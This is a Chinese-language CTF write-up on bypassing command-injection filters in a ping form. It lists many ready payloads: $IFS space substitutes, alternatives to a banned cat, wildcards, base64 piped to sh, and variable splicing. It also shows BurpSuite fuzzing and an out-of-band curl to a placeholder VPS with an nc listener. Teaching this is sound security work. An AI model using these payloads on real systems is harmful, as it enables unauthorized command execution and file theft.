CTF命令执行绕过实战从空格过滤到cat禁用我的BurpSuite Fuzz测试笔记1. 解题现场当命令执行遇上过滤规则那是一个典型的CTF Web题——页面只有一个简单的ping功能输入框旁写着试试看能不能ping通你的IP。直觉告诉我这里肯定藏着命令注入漏洞。我尝试输入127.0.0.1;ls页面返回了目录列表但当我兴奋地输入cat flag.txt时却只看到冰冷的Invalid input。第一次交锋空格被过滤了。在Linux中空格是命令参数的分隔符但聪明的系统管理员知道过滤它。这时候需要祭出我们的替代方案# 常见空格绕过技术 cat${IFS}flag.txt cat$IFS$9flag.txt catflag.txt cat%09flag.txt提示$IFS是Linux的内部字段分隔符默认包含空格、制表符和换行符。加上$9当前shell的第9个参数通常为空可以避免解析歧义。通过BurpSuite的Intruder模块我快速测试了这些变体。发现$IFS$9可以完美绕过过滤但新的问题出现了——页面返回了cat command not allowed。原来这道题是双重过滤既过滤空格又禁用cat命令。2. 绕过艺术当cat成为违禁词禁用cat并不意味着无法读取文件。Linux提供了丰富的文件读取命令就像瑞士军刀有多种工具可选命令功能描述绕过示例tac反向输出文件内容tac${IFS}flag.txtmore分页显示文件more${IFS}fl*less可前后翻页的查看器less${IFS}f???.txthead显示文件开头部分head${IFS}fla{g}.txttail显示文件末尾部分tail${IFS}f*.txtnl显示带行号的内容nl${IFS}flag.txtsort排序文件内容sort${IFS}flag.txt实战技巧通配符在绕过中特别有用# 使用问号匹配单个字符 cat${IFS}fl?g.txt # 使用星号匹配任意字符 cat${IFS}fl*3. BurpSuite Fuzz测试实战当手工测试效率低下时BurpSuite的Intruder模块就是我们的自动化武器。以下是完整的Fuzz测试流程捕获请求通过Proxy拦截正常的ping请求标记参数在Intruder中选中要测试的参数值构建字典准备包含各种绕过技术的字典文件{IFS} $IFS$9 %09 %20配置攻击类型选择Cluster bomb以测试多种组合结果分析通过响应长度和内容识别成功payload高级技巧当命令无回显时可以使用带外技术(OOB)检测# 在VPS上监听 nc -lvnp 80 # 测试payload 127.0.0.1;curl${IFS}http://your-vps-ip/4. 组合拳突破编码与拼接技术当单一绕过技术失效时组合技往往能出奇制胜。以下是几种经典组合Base64编码绕过# 编码cat flag.txt echo${IFS}Y2F0IGZsYWcudHh0Cg|base64${IFS}-d|sh变量拼接术# 拆分重组命令 ac;bat;cfl;dag;$a$b${IFS}$c$d.txt # 利用环境变量 PATH/usr/local/bin:/usr/bin:/bin ${PATH:7:1}${PATH:4:1}${IFS}flag.txt特殊字符插入c\at${IFS}flag.txt cat${IFS}fla*.txt5. 实战复盘从踩坑到通关回到那道双重过滤的题目最终突破过程是这样的先用$IFS$9绕过空格限制发现cat被禁后尝试tac也被过滤测试发现more命令可用但flag文件内容太长被截断改用head -n 50成功读取完整flag最终payload127.0.0.1;head${IFS}-n${IFS}50${IFS}fla*经验总结永远准备Plan B当一个命令被禁立即尝试替代方案模糊测试要系统化按空格→命令→符号的顺序逐步测试注意输出限制有些命令会截断或分页显示需要调整参数